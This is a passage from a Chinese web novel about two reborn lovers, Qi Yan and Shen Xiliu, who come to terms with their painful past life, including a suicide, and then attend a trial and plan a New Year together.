有些事情,现在想起来,确实恍若隔世,真的隔了一世,所有的爱恨情仇好像都变淡了。 对于祁厌而言,只要身边的人都活着,他的身体也没事,那就没什么不可原谅,前世的仇恨,没必要带到什么都没有发生的一世。 “第二次接吻的话。”祁厌继续讲述,“是在你最后一次在我身边醉酒。” 那是祁厌被囚禁在那座小岛的时候,想要逃离,只能利用了喝醉酒后的沈溪流,醉酒状态的他相当听话,被他随便诓骗诱哄着去拿了钥匙。 【祁厌,既然你喜欢我……为什么不肯亲我?】 沈溪流从那时就很在意这件事情了,还小声地把自己的所有阴谋都给说了出来,的确与祁厌的怀疑相符合,试图用孩子来绑住祁厌。 清醒时刻的沈溪流不好对付,但那时候的沈溪流却很好对付,而且……多少有些让祁厌无法移开视线。 于是什么都做了好多遍。 现在想想,那时候其实挺疯狂的,不过好在现在不会再受到疾病的影响了。 祁厌想到翟医生的话,记忆整理清楚之后,祁厌最重视的问题是,他会不会伤害到身边人? 前世的病已经严重到精神方面,会不会带到这一世,毕竟他在记忆未曾恢复之前,做过很多恐怖的事情,无论是破坏家具,对表弟动手,乃至于之前记忆错乱时,对沈溪流说出那种话…… 【不用担心,当时的你是受到记忆片段的影响,加上太久没有得到休息,导致精神衰弱,才会发生那种事情。】翟医生温和的安抚他,【只要现在整理好记忆,多注意休息,及时处理情绪,就不会严重化。】 祁厌先前会被记忆片段影响,有很大原因是记忆错乱造成精神方面的衰竭,心理敏感,身体疲惫,当记忆彻底恢复后,只要他的自我意识清晰,就不会再发生这些事情。 祁厌的回答,总是不拘泥于一两句,他会仔仔细细地将每一件事都说清楚,彻底解决沈溪流心底的疑惑。 一连三个问题下来,沈溪流都得到了最好的答案。 明明该高兴的,但是看着坐在对面的祁厌的脸,想到他前世所做的事情,沈溪流就有些笑不起来。 “祁厌,你可不可以不要……”对我这么好。 他总觉得,如果前世不是路已经断掉,祁厌说不定什么都能放得下。 当初在岛上的时候,祁厌本来可以做得更加绝情,却依然愿意为他留下,安抚他的精神。明明他才是把祁厌害到那种地步的凶手,合该成为祁厌最厌恶的人? 结果到头来,祁厌一人承担了所有,怕他知道腺体已经被破坏,甚至谎称自己结扎。就连最后生命的最后一刻,也选择原谅他,让他回家…… 甚至到了这一世,也选择在小的时候叫人救他,现在也愿意开解他。 沈溪流突然发现自己没有任何问题了。 祁厌,没有必要回答他任何问题。 他只要看见祁厌,心底就无比平静,因为他清晰地认知到,祁厌喜欢他……丝毫不亚于自己对祁厌的喜欢,所以祁厌才有耐心这么对待他。 比起自己扭曲病态的爱,祁厌更清楚怎么去爱一个人。 “总算到我的场合了。”祁厌精准地从沉默的沈溪流手里,抽出了红心A。 “我接下来,要问的问题,可能不那么美好。”祁厌摇了摇手里的红心A,提醒着沈溪流,表情也变得凝重起来,眸底多了一抹压抑之色。 或许不该问,但这是不能逃避的问题。 沈溪流盯着手里的鬼牌,又去看他的脸:“你问吧,不管问什么问题,我都会如实回答。” “嗯。”祁厌很喜欢沈溪流诚实的样子,笑着点点头,没有立即开口,而是观察着他的神态,好半晌,笑容渐渐淡去,他犹豫着低低地问道,“前世,你是怎么死的?亦或者说,你活到多少岁?” 沈溪流不像活到四五十岁的样子,他大概没有听他死前的嘱咐,从痛苦走出,对自己好一点,不要拘泥于过去,依然如那时偏执。 “……” 一听到这个问题,沈溪流的呼吸徒然一滞,就连身体也不受控制地紧绷起来。如果是放在过去,他已经毫不犹豫地说出来,就为了让祁厌多心疼他,给自己增加挽留祁厌的筹码,让祁厌知道自己一旦失去他,那就只有死路一条。 但现在,沈溪流有些沉默了。 祁厌盯着他,等着答案,沈溪流却不敢说出来。 可是刚才已经答应过祁厌,不管问什么问题,他都会如实回答。 沈溪流有些干涩地开口,说得无比艰难:“对不起,我是……自……杀。” 对不起,明明答应你了,却没有好好活着。 但没办法啊,祁厌死了,他凭什么心安理得地继续活下去?沈溪流等了很久,一直等到合适的时间,才终于能够选择以死赎罪。 结果现在想来,那都是他自以为是的想法,祁厌根本不需要他以死赎罪。 所谓的以死赎罪,不过是对自己的慰藉和解脱罢了。 第109章 现世 结束 可是重来一次, 沈溪流还是会做出同样的选择。 没办法,他在没有祁厌的世界活不下去。 而祁厌则相反,他更像个正常人, 无论与他纠缠到什么地步,都在想办法活下去, 即使被痛苦缠绕, 即使人生毁得一塌糊涂,也不会轻易结束生命。 “……游戏暂时中止吧。” 明明是意料之中的猜测,但真的知道沈溪流做出这种选择时, 祁厌无法形容此刻的心情。 本来……是希望他好好活着的。 沈溪流看着祁厌站起身,拿着根本没碰过的茶杯,走进厨房, 无意识地将茶水倒掉, 重新慢吞吞地又泡了一杯。 “祁厌,你上辈子是怎么做到……在最后还来安慰我的?”沈溪流没有动弹,只是盯着他的背影。 沈溪流想过,如果祁厌早一些向他说出这些话,会不会有什么不同? 这只是一晃而过的想法,不敢细思。因为沈溪流知道, 如果祁厌在合同期间对他说出那番话, 只会得到自己的……羞辱。 沈溪流甚至能想得到自己会说什么话, 诧异、不屑、讽刺, 让祁厌别自以为是, 践踏他的自尊,不会以为可以借着合同,就能走入不属于自己的阶层吧? 他们之间有着阶级地位差,祁厌明知他的性格如此, 却依然想要对他告白,结果迎来那样的下场。 一个从不理智走到理智,一个从理智走到不理智。 “谁知道呢。” 祁厌只是低声说了这么一句。 无论对沈溪流抱有什么情愫,到最后,在生命的面前,都算不得什么了。 最开始的时候又不是不知道沈溪流的性格,偏偏被爱意蒙蔽双眼,于是一头昏地开始追逐沈溪流,试图得到不属于自己的人。 就连后来的所做所为,也大多是没有理智的。 在明知沈溪流把他当替身的情况下,依然愿意和他进行契约,祁厌知道,自己多少还是……藏不住内心真正的想法。 一开始的他没有任何选择,就算沈溪流把他当替身,他又能如何呢? 他什么也做不了,不可能违背合同,所以……只能接受吧? 无论他多怨恨那样的命运,最终只能接受,别试图去询问沈溪流,也别在自己心里,阴暗地与易扬比较,不可以暴露出丑态,太难看了! 反正……他本来就是在那样的环境中成长。 人性太过于复杂,胆怯与自卑在内心疯狂滋生,祁厌不敢再表达任何爱意,在顾燕行的死亡真相下,他也没有资格再表达。 刚开始,一想到自己那时候居然差点向沈溪流告白,再想到他对自己的讽刺,祁厌内心交错的复杂情绪简直让他后悔到想找个坑,把自己埋进去,不想再面对现实。 但这是不可能的,所以祁厌只能选择对沈溪流的漠视与伪装,仿佛他们之间什么都没有发生,何尝不是对自己尊严的维护。 等后来,直面了顾燕行的死亡真相,直面了自己离死不远的消息,祁厌才从中走出,在生命的重量面前,尊严变得不算什么,他才有了选择的余地。 他是自愿再跳进沈溪流的坑里,心想着反正都要死了,就别顾虑这么多。既然沈溪流把他当替身,要利用他稳定假性标记,那起码稍微让沈溪流还一点债吧? 再后来,知道那些误会后,祁厌又何尝没有怨恨过命运和沈溪流,为什么要这么折磨他? 一次次给他希望,又一次次让他深陷绝望,但再浓烈的情绪,最终都在沉默中消亡,祁厌的人生际遇与性格决定了他的选择。 他和沈溪流不一样,他没有资格掀盘重来。再继续下去,如果沈溪流知道他的病会怎么样? 祁厌也曾恶劣到想让沈溪流知道自己快要死了,但最终……还是放弃了。 他什么都没有告诉沈溪流,甚至在岛上谎称自己结扎,也是不想让他知道真相。 沈溪流,他所喜欢过的人,在这个世上,他唯一爱过的人,不该活得这么狼狈,不该变成一个疯子。 而一个将死之人,没有资格再去眷恋这些,所以不如干脆利落地结束好了。 “咕嘟、咕嘟——” 水烧开了。 祁厌目光落在自己的右手上,是完好无损的右手。 虽然是完好无损,但前世的阴影并没有伴随着记忆沉睡,反而成为潜意识的本能,导致他这一世的调酒一次次失败。 大概是前世私底下尝试太多次,也失败太多次,已经深深刻在灵魂里,影响到这一世。 他们的命运始终纠缠在一起,无论是前世,还是今生,永远都解不开了。 “沈溪流。”祁厌关火,把茶壶取下来,回头看向坐在沙发上的沈溪流。 他想起这一世,他们在酒吧第一次的相遇。前世被打翻的莫吉托,从脸上滚落的冰冷液体,破碎的兰花玻璃杯子…… 以及后来沈溪流拜托他,再给自己调一杯。但那时候他不想调,也早就调不出来,最成功的一次,也就是在游轮上,胡乱给江与青调制的果汁吧。 祁厌最开始是想要借着这杯酒,向沈溪流告白,表达心意。如同初恋般青涩的酒,沈溪流本就是他的初恋。 ——麻烦给我的爱人来一杯Mojito。① 上一世,沈溪流不愿意喝,并且冷漠地泼到他脸上的酒,这一世确实全部喝了进去。 一开始祁厌以为沈溪流将酒倒掉了,但后来打扫卫生的时候,他看了一眼垃圾桶,并没有倒进去的酒液与薄荷、冰块水。 “……” 祁厌想,如果当初顾燕行没有因他而死,自己没有被易鸿立下药,他没有知道小时候的那一次救人,却导致后续的种种,或许就不会有那么一天了。 祁厌没那么善良,易扬毁了他的右手,后来他也还了回去,唯独对沈溪流做不了任何事情。 但凡换个人,祁厌绝对会寻找机会报复回去,他就是这样记仇的人。 他也没有那么理智,那时候的他无法不迁怒沈溪流,在知道真相的那一天,也曾后悔过为什么要救沈溪流。 如果不是他,也会有别人救下沈溪流,就像这一世的交警。 那样的话,说不定就不会有易鸿立的算计,易鸿立也没有机会得到真相,外公外婆舅舅舅妈不会知道他和妈妈的存在,也不会为了赶来寻找他们,而被易鸿立动手脚,导致车祸身亡。就连他妈妈,后来也是因为易鸿立派人刺激,才最终选择那样的结局…… 我不杀伯仁,伯仁却因我而死。 世界上也没有那么多巧合,更多的是人心的算计。 他们无法彻底撇清这一切,祁厌和沈溪流之间横跨了太多人命,他不可能不恨他,偏偏又不可能……彻底放下他。 爱恨纠葛,到头来,弄得一团糟。 好在老天爷,愿意给他们第二次机会。 在沈溪流的注视下,祁厌缓缓开口:“今夜过后,我们就不要再谈前世了。” 既然已经有了新的开始,那就不要再去回忆失败的那一世。 当心底的疑问解决以后,就别想了,他们都应该从前世的痛苦阴影走出来,也该用新的记忆与经历,去覆盖住那一切。 “好。” 沈溪流望着他,缓慢用力地点头。 前世不是没有察觉到祁厌后来也有可能喜欢他,毕竟他总是对自己表现得这么温柔,又那么有耐心,性格不同的人表现喜欢的方式不同。 祁厌不像他,更多的是从细节流露出点点滴滴,润物细无声,那更像一场无声的告白。 偏偏沈溪流一开始没有正视,后来不敢相信,毕竟他没有自信,祁厌已经付出了这么多的代价,连自己的生命都失去了,还会喜欢他。 不喜欢他,恨他,厌恶他,或许对祁厌来说,才是解脱,继续喜欢,反而是一种折磨。 他们也有过美好的记忆,但只有那么一点。在痛苦的衬托下,沈溪流甚至不敢回想那时候的祁厌是抱着什么样的心情,与他相处。 本来忽视七夕后发生的事情,前面的相处好像还算平和。但沈溪流一想起那时候的祁厌,早已在他的眼皮子底下,被人注射信息素摧毁剂,身体在被一点点破坏以后,心情便无法愉快。 那段还算美好的记忆就像是建立在祁厌血淋淋的尸体上,让沈溪流日夜不敢闭眼,仿佛只要一闭上眼睛,就能想起祁厌的身体从大楼坠落,碰撞到地面变得支离破碎,血液飞溅到脸上的触感…… …… 庭审结束,外面下了很大的雨夹雪。 “意料之内的死刑,接下来的二审,大概也不会产生变动。”祁厌看着张衡一整理文件,这一世的易鸿立的罪行证据更多、更完整,就连沈家都难以运作,沈溪流也询问过要不要想办法,让易鸿立活下来? 就像是前世,活到最后,易鸿立被折磨到连自杀都做不到。 祁厌拒绝了,这一世没必要再做到这种地步,易鸿立早点死也挺好,宋意礼的罪行轻一些,不会被判死刑,但十年以上,没问题。 “是啊,我打得最顺利的一场官司。”张衡一推着眼镜,脸上带着笑容。他的奶奶是顾氏企业制售假药劣药案的受害者之一,从与祁厌、顾燕行相遇以后,就一直想办法,为自己的奶奶讨回公道。 祁厌笑笑,看向忧郁的顾燕行:“不过倒是没想到,你居然还能回来。”江与青对顾燕行的执着,他可是看得清清楚楚。 “哼,毕竟是这么重要的事情,他怎么可能继续在我面前摆大小姐的架子。以前能够在我面前任性,不都是仗着那么一点童年情谊,愿意听他的话,我要是来硬的,他一个omega算什么,真以为我喜欢……” 顾燕行冷笑一声,非常强硬地说着,但说到一半,背后突然一阵发凉。 站在他前方的祁厌和张衡一的目光越过他,望着他后背的方向,不断给他眼色示意。 “……” “是吗?” 熟悉的声音从背后响起,顾燕行浑身僵硬,像个机器人一样缓慢、迟钝地转头,对上江与青似笑非笑的脸,他甚至轻轻拍了拍掌。 “哇哦,真厉害呢。” “看来我还真是任性,仗着一点童年情谊,天天欺负你,自以为是你喜欢我。”江与青笑笑,转身离开,“还真是对不起,我太把自己当回事了,放心,以后我不会再勉强你。” 他走得毫不犹豫,仿佛彻底放下了这段糟糕的感情。 顾燕行:“……” “让你嘴臭吧。”张衡一摇了摇头,朝着另一个方向离开,这个方向才是通道口。 祁厌瞥了一眼僵硬在原地的顾燕行:“再不上去哄一哄,说不定以后真不把你当回事了。” 他也跟着张衡一离开,不多管闲事,沈溪流还在外面等着他。而且江与青要是真不想管顾燕行,就不会走那条很长的路,明显是给他机会追上去。 从大门离开,顾燕行还没跟上来,看来是去找人了,张衡一和祁厌说一声后,就先离开了。 外公外婆已经陪着夏女士上车,祁厌一眼看到沈溪流还打着伞在外面站着,他皱了下眉头,几步走过去:“怎么不上车?外面不冷吗?” 祁厌伸手摸了摸沈溪流的脸颊,又碰了一下他的手指,冰冰凉凉的。 沈溪流用脸颊轻轻蹭了蹭他温暖的掌心,笑道:“没事,我就是想要等你回来。” “我只是离开一会儿。”祁厌接过伞,牵着他的手塞入兜里,上了另一辆车。幸好他今天让沈溪流穿了羽绒服,而不是只有风度没有温度的大衣,“不喜欢下雪天,就不要在外面等着,我不会随便离开你了。” 沈溪流不喜欢雪天的情绪,瞒不过祁厌,想想也知道。 前世,他们最后一次见面时,就下了很大的雪。就连他死去的那天,祁厌也隐隐记得,天空飘落着白色的雪,有一片无比清晰的雪花落入眼中,融入其中,冰冷得像是前晚碰到的沈溪流的泪水,凉到心间…… 风雪见证了他的死亡,死亡的疼痛没有维持很久,身体的防御机制就让他感觉不到疼痛,在意识彻底失去的时候,祁厌听见了一道凄厉的惨叫。 原本只以为是死前的幻听,现在想来,他好像糟糕地死在了沈溪流的眼前。 “别担心,别害怕,这一次我不会随便离开你了。” 车里的暖气很足,沈溪流坐在祁厌怀里,热烈的吻落在唇间,被他紧紧搂在怀里,好像已经感觉不到外面的风雪有多么冰冷,前世阴影带来的恐惧与寒冷,一点点地被驱逐。 “嗯,我知道的。” 他知道的,比起他灼热而浓烈又偏激到伤害祁厌、伤害自己的爱,祁厌无论是前世还是今生,都更加内敛,没那么张扬肆意。 祁厌的举动总是透着温柔与爱意,即使不像他这样激烈地表达出来,却也藏在祁厌的一举一动中。不爱一个人,是做不到这种地步,所以上一世,祁厌才愿意原谅他、救赎他。 这一世也不希望他深陷于前世的梦魇。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【终章】 第110章 终章 取代 沈云殊很不高兴。 整天挎着一张逼脸, 动不动就阴阳怪气,无差别攻击,不管是祁厌、沈溪流, 还是研究所的其他工作人员,甚至于就连远在老宅的沈家主, 偶尔路过都得被怼两句。 起因很简单, 他花费了这么大功夫,将翟徐安给绑架回来,结果翟徐安闭口不谈当年沈家主找他的原因, 一口一个职业道德,无论他怎么逼他,翟徐安都不会告诉他。 而祁厌, 也在那天找他之后, 明显产生了一些微妙的变化,好像一夜之间,整个人都变得更加沉熟稳重。就连他大外甥,以前偶尔会出现的,那种从灵魂深处流露出来的暮气沉沉的死气,也像是一瞬间变得荡然无存。 “丨期的临床试验, 我就已经让他参与进来了。”沈云殊一眼就看穿祁厌的目的, 直接把盒子里的一大堆文件全扔他身上, 冷冷说道, “只不过是作为特例, 全程由我负责,所以没让你知道而已。” 祁厌的项目进展不错,进入临床试验后,沈云殊便直接让沈溪流参与进来, 药物确实起到一定的作用,减缓了沈溪流精神方面的问题,避免从信息素紊乱症病变成信息素暴动症。 “劳烦您了。”祁厌把资料捡起来,对他说道。 他最开始也没想到沈溪流的病居然会严重到这种地步,所以没想着让他在丨期就参与进来。 “呵呵。”沈云殊阴阳怪气地笑了起来,“真是‘劳烦’我了,我救自己外甥,居然还要你这个‘外人’感谢。不知道的,还以为你们两个已经结婚了,什么时候开始的啊?我连颗喜糖都没吃过,怎么,就连结婚这种大事,都不告诉我,是怕我棒打鸳鸯吗?看来你是把我这个未来导师当外人,提前把我外甥当作内人了?” 祁厌嘴角一抽,好阴阳怪气的人啊:“……所长,您正常点说话吧?” 说真的,我上辈子怎么就没发现这是个阴阳人啊? 只能说是当时的定位不好,沈云殊偶尔比沈溪流,还要擅长用鼻子看人。 祁厌突然有点后悔之前打算在沈云殊手底下继续深造,他导师覃宜民人就挺好的,继续在他手底下攻读博士学位也不错,偏偏当时还没恢复记忆,对业内赫赫有名的大佬沈云殊有种崇拜之情,蒙蔽了他的双眼。 “我说话不正常了吗?”沈云殊斜眼看人,“说好的一日为师,终身为父,虽然我现在还不是你的导师,但也不远了吧?既然我是你导师,也就相当你父亲……” “那要不要我送你去监狱,和易鸿立见上一面,相信在想要给人当爹这一点,你和他一定很有话题感。”门忽然被推开,沈溪流冷笑一声走进来,眼神不善地盯着沈云殊,压迫感丝毫不掩饰。 沈云殊很久没看见沈溪流表现出这种样子,每次只要祁厌在场,沈溪流多少会伪装那么一点,而现在…… “真没礼貌。”沈云殊推了推眼镜,对祁厌道,“看见了吗?我的外甥特别嚣张无礼,连进长辈的办公室,都不知道敲门一下,连尊重长辈都做不到。” 祁厌:“……” 他微笑不语,纯当什么都没看见。 “呵。”沈溪流呵呵一笑,从兜里取出手机丢给他,“长辈无德,喜欢倚老卖老,挑拨离间,根本不值得人尊敬。” 开着扩音的手机被扔了过来,沈云殊下意识接过手机:“等等,沈溪流,你……” 【Honey?】 一道熟悉的优雅绅士声调从手机传了出来,带着贵族特有的优雅,透着绅士般的涵养。 沈云殊表情一僵,突然感觉手里的手机有点太烫了。 “沈……”溪流,你别太过分! 沈云殊眉头紧皱,本想说这话,内斗归内斗,把外人拉进场里,就不对了! 【亲爱的,你想知道的事情,我猜得到哦。】电话另一端的人优雅地说着,【你说,我要不要告诉你呢?】 “……” 只能说,不愧是最有心眼的alpha,一句话就能让沈云殊按不动挂机键。 “……真没出息。” 一看他这样子,沈溪流就笑,他这辈子绝对不会再把沈云殊空投到国外,但不代表他没别的办法对付这人。 “祁厌,我们走吧。说真的,我劝你还是别在他手底下做事比较好,覃导人挺好,与其在无德无能的某人手底下被折磨,还不如继续待在覃导底下。” 以前不好说这话,毕竟是祁厌的选择,但他现在恢复记忆了,沈溪流觉得拥有记忆的祁厌,应该对沈云殊多了一些认识。 与其留在研究所,被某人折磨,还不如回学校继续攻读博士。 “这不好吧……”祁厌轻咳一声,虽然觉得沈溪流的建议很好,但是沈云殊除了缺点以外,也还是有优点的。 “笑话!” 沈云殊已经顾不上沈溪流他们,他拿着手机,长腿一翘,神色讽刺起来:“你隔着半个世界,居然会知道?” 扩音键已经被他关上,祁厌和沈溪流听不见对面的人说什么,就连沈云殊也转动着轮椅,背对着他们,明显注意力已经被另一端的人 祁厌也难得看到沈云殊这种警惕的样子,抱着一大盒文件,好奇地低声询问沈溪流:“是不是……那个人?” 就那个让沈云殊自愿那啥的。 “是哦,我们出去再说。”沈溪流勾住祁厌的手臂,拉他离开办公室,也小声道,“那人名为克里斯蒂安,是意……” 别人的故事听起来总是显得格外波澜壮阔,尤其是像沈云殊这类人,祁厌觉得真……有趣。 反正只要不是自己的故事,别人的都挺好玩。 …… 一审已过,再等二审,大概需要很长一段时间,外公外婆和夏女士准备回C市过元旦,祁厌和沈溪流只把他们送到飞机场,便停了下来。 “溪流,真的很感谢你。”夏女士轻轻抱了一下沈溪流,眼眸里有泪水在滚动。前两天,祁厌和沈溪流陪她回了夏家老宅一趟。 在刚来S市的时候,夏女士和父母在附近逛过一次,只看了老宅外部,和他们怀念了一番过去的点点滴滴,讲述养父母对她的好。 当时没敢进去,一是害怕过去美好的回忆毁于一旦,毕竟什么都被卖掉了;二是这已经卖给别人家了,她再进去也不好…… 考虑许多,终究是没进去。结果没想到前几天,祁厌亲自带着她进去了一趟,本以为早已面目全非的房子,居然与十几年前离开的时候,依然一模一样,很多地方都被维护得很好,这让夏云惬相当惊讶与感动。 祁厌并没有瞒着她真相,将沈溪流所做的一切都说了出来。 当然,他隐瞒了重生的事情,没有说得太多。而夏女士也不像沈云殊那样挖空心思地去研究他们,想要搞懂两个人的关系。 只是含泪微笑着说:“谢谢。” 无论沈溪流是出于什么原因,她不会去探究,更在乎这份潜藏的情感与心意,由衷地感谢沈溪流保护了她曾经住过快三十年的家。 “这……这个……”没想到夏女士会突然抱他一下,沈溪流一怔,难得显得有些慌张地看向祁厌,连话都说得磕磕巴巴,“您太客气了!” “好了,妈,你们该上飞机了。”祁厌伸手牵过沈溪流的手,出声提醒道。 夏女士看了他们牵着的手,眼底尽是温柔,她莞尔一笑:“说得也是。” 不知道是不是因为之前去拜访了翟医生,她最近总想起小衍小时候的样子,被心理医生说精神分裂的那段时间,也是她最为愧疚的时候。毕竟如果不是她做母亲太失败,她的孩子就不会变成这个样子了…… 好在后来翟医生的出现,改变了祁厌的情况,夏云惬才放下心。但后来大哥找回他们时,小衍却主动将名字改成祁厌。 问他为什么,他也是一脸平静地说他合该叫这个名字,受到所有人的厌恶…… 随即看到她哭了以后,才回过神来,一脸迷茫地抓着头发,不知道自己为什么会说出那些话。 往事太多问题,夏云惬不愿意去回想,只要眼前的祁厌幸福那就好。 冥冥之中,她总觉得面前的两个孩子过得不容易,只希望他们以后能平安喜乐,万事顺利。 外公也看了一眼,严肃着脸说:“原本还答应沈兄和老赵一起去山里钓鱼,看来得等过完年回来再说了。” “一天天就想着钓鱼,你们就这么喜欢钓鱼吗?也不看看自己多少岁了,居然还想进山!”外婆不赞同地摇头,之前他们去拜访沈溪流的外公时,原本是打算还礼,结果几个老年钓鱼佬在这方面谈论得相当起劲,“小厌,今年过年别忘了回来和我们一起过,如果溪流有空能够一起来,就更好了……” 外婆只是一句话略过,避免给沈溪流造成压力。毕竟他们才谈恋爱不久,如果沈溪流更想和自己的家人过年,也方便拒绝。 不过等把他们送走,上车的祁厌就对沈溪流道:“今年,要不和我一起回C市过年吧?” “嗯?”坐在副驾驶的沈溪流朝他看了过去,脸上浮现淡淡的笑意。 祁厌察觉到了,稍微用食指挠一下脸,眼睛盯着前方:“我有挺多事情,想要带你一起去做的。” 真的有很多事情,想要和沈溪流一起,他这一世的记忆太过于幸福,足以覆盖前世的不幸,所以想要带着沈溪流一起去经历。 祁厌只进了一次那个房间,却把很多照片都记在心里,也记住了沈家主给他的那张照片,知道过去的沈溪流不敢出现在他面前。 独自一人承受着前世的记忆,跟在他周围,拍摄下他过去的许多经历。 而那些照片里,有祁厌,有他的朋友、兄弟、亲人,却唯独没有沈溪流。 祁厌心想,或许,现在该补上了。 他们有太多遗憾需要弥补上来。 “……这种事情,没有必要询问吧?”沈溪流笑着看他,“你不是说好,不会再离开我了吗?” 如果祁厌丢下他,一个人回c市过年的话,沈溪流不会生气,但多少会因为敏感的心理,产生很多负面想法。 而现在的祁厌,肯定不会让他产生那种想法,沈溪流知道的,祁厌一直很温柔,也很注意细节,不会再丢下他一个人。 “这是当然的。”祁厌也笑了一下,“只是原来的计划不是这样。” 没有恢复记忆前,他做不到厚着脸皮,把刚交往的omega给带回家,这种行为对沈溪流不好,也会给他的家人留下不好的印象。 原本是自己回c市,过完年就回来陪他。但现在恢复记忆后,总有一种自己和沈溪流在一起很久的感觉。 祁厌没有把原来的计划仔细说出来,只道:“明天元旦,我们一起去星月湾看烟花吧?” “……” 沈溪流没有说话,只觉得有些恍惚,元旦、星月湾、烟花,这三个词组合在一起,太容易让他想起那些痛苦的记忆。冰冷的雪夜,肆意生长的嫉妒心,多看一眼,他都害怕自己控制不住,对他人的嫉妒,对祁厌的想念,如影随形地缠绕着心脏,日日夜夜啃食着血肉为生,偏偏他没有任何资格冲上去,抢走祁厌…… 冷意还未沾染上来,祁厌温暖的手掌便握住他有些颤抖的手指。 “这一次,就我们两个人,好吗?” 该让全新的记忆,去覆盖那些痛苦的前世经历了,往事不必回忆,祁厌会想办法将过去都彻底覆盖、取代,沈溪流无需嫉妒任何人,也无需停留在过去,无法向前走。 他们会一起重新创造新的开始。 “嗯。” 沈溪流垂着头,好半晌才缓慢转头看向祁厌,脸色不像过去苍白,多了一些血色,就连左眼下的三颗泪痣,也显得没那么清冷孤傲。 “就我们,两个人。” 沈溪流重复一遍。 “对,就我们两个人。”祁厌看着他笑了笑,说完以后,收回手:“那就先不继续牵着了,这边车挺多,我车技一般,不习惯单手开车。” 他记得今年的元旦烟花挺好看,不过前世并未去看,当时还在医院里。记得前世的游弋说过,沈溪流独自一人去看了,后面还下了一场暴雨,将他整个人都淋湿。 明天应该提前带伞,还有,元旦过后,是沈溪流的生日。 今年,他会是第一个对沈溪流说生日快乐的人,以后也会是第一个。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&